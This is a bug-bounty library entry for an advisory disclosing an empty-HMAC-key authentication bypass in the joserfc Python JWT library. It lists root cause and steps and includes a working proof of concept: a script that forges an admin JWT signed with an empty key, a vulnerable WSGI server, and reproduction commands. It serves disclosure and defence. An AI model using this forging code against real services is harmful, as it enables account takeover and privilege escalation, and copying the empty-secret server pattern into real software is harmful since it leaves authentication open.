# joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)

joserfc's HS256/384/512 verify accepts an empty HMAC key, letting an attacker forge JWTs with admin claims when the app's JWT secret resolves to empty.

- Payout: Research
- Severity: high
- Program: joserfc
- Found by: tonghuaroot
- Disclosed: 2026-07-02
- CVE: CVE-2026-49852
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-gg9x-qcx2-xmrh
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gg9x-qcx2-xmrh
- Tags: area:oss domain:oss impact:ato impact:privesc kind:research platform:ghsa sev:high tech:jwt tech:python technique:incomplete-fix technique:source-review vuln:auth-bypass vuln:crypto

**Target:** Python JWT library (joserfc.jwt.decode / HMACAlgorithm.verify)
**Root cause:** OctKey.import_key only warns when key material is under 14 bytes and never rejects zero-length input, so HMACAlgorithm.verify feeds b"" into hmac.new, which Python accepts.
**Steps:**
1. Install joserfc==1.6.7 and boot a WSGI app calling `jwt.decode(token, OctKey.import_key(os.environ.get("JWT_SECRET", "")), algorithms=["HS256"])` with JWT_SECRET unset.
2. Attacker builds header/payload, computes `sig = hmac.new(b"", signing_input, hashlib.sha256).digest()` and base64url-encodes it.
3. Send forged token as Bearer; server returns HTTP 200 with `admin=True`.
4. Control with a real 256-bit secret returns HTTP 401 BadSignatureError.
**How found:** Cross-language sibling analysis: ruby-jwt CVE-2026-45363 fixed empty-key HMAC verify with ensure_valid_key!; researcher checked joserfc's equivalent path and found only a <14-byte SecurityWarning, no zero-length reject.
**Exploitation:** Unauthenticated attacker forges arbitrary claims (sub, admin, scopes, exp) by signing with the empty key, which the server reproduces because its configured secret resolved to "" or None; no secret knowledge needed.
**Insight:** When a crypto library warns on short keys, check whether the boundary case (len == 0) is actually rejected — a warn-only length check leaves the empty-key forgery path open, and Python's hmac.new happily accepts b"".

## Proof of concept (copied exactly from the original report)

**Attacker forges HS256 token with empty key**

```
import base64, hmac, hashlib, json, time
def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
now = int(time.time())
payload = b64url(json.dumps({
    "sub": "attacker", "admin": True,
    "iat": now, "exp": now + 600,
}).encode())
signing_input = header + b"." + payload
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
forged = signing_input + b"." + b64url(sig)
print(forged.decode())
```

**WSGI server decoding with empty JWT_SECRET**

```
from joserfc import jwt
from joserfc.jwk import OctKey
import os
from wsgiref.simple_server import make_server

def app(environ, start_response):
    auth = environ.get("HTTP_AUTHORIZATION", "")
    token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else ""
    key = OctKey.import_key(os.environ.get("JWT_SECRET", ""))  # default = ""
    try:
        tok = jwt.decode(token, key, algorithms=["HS256"])
        c = tok.claims
        body = ("OK: sub=%r admin=%r\n" % (c.get("sub"), c.get("admin"))).encode()
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [body]
    except Exception as e:
        start_response("401 Unauthorized", [("Content-Type", "text/plain")])
        return [("DENY: %s\n" % e).encode()]

make_server("127.0.0.1", 8383, app).serve_forever()
```

**End-to-end reproduction commands**

```
python3.12 -m venv venv
./venv/bin/pip install joserfc==1.6.7
./venv/bin/python server.py &   # listens on :8383

# 2. Run the attacker
./venv/bin/python attacker.py
```

